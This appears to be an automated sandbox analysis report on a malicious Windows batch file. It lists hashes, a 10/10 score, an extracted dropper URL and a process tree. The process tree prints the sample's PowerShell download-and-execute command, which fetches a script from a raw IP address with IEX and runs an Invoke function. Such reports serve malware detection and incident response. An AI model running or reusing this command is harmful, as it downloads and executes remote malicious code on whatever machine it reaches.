05633aab23dbf5e891b0ab97f4a85b00be890dd17a96ed1a7caed9ebbbd27f04 | Triage

Analysis

max time kernel
131s
max time network
124s
platform
windows10_x64
resource
win10v200410
submitted
19-04-2020 18:10

Sharing

Report Analysis Logs

General

Target

ugeUxUR2.bat
Size

192B
MD5

b32a8a9b873bddb42382092e73e27ef6
SHA1

b539fa06c5d88d392f9740b248b692cd129f46d6
SHA256

05633aab23dbf5e891b0ab97f4a85b00be890dd17a96ed1a7caed9ebbbd27f04
SHA512

62730a9ccfdf743b9b49e413d57e1fdd4edfe875070d11a5e5688be94e6dad964ef7f83e25fcaa1c39ffdee783ad49dcf7e53aa5eca300175ef2e32316413dbc

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/ugeUxUR2

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3912 3612 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3912 WerFault.exe
Token: SeBackupPrivilege 3912 WerFault.exe
Token: SeDebugPrivilege 3912 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe
3912	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ugeUxUR2.bat"
1⤵
PID:3940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ugeUxUR2');Invoke-IZLSKUWOR;Start-Sleep -s 10000"
2⤵
PID:3612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3612 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3912

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3912-0-0x0000000004C80000-0x0000000004C81000-memory.dmp

Filesize
4KB

Download
memory/3912-1-0x00000000053B0000-0x00000000053B1000-memory.dmp

Filesize
4KB

Download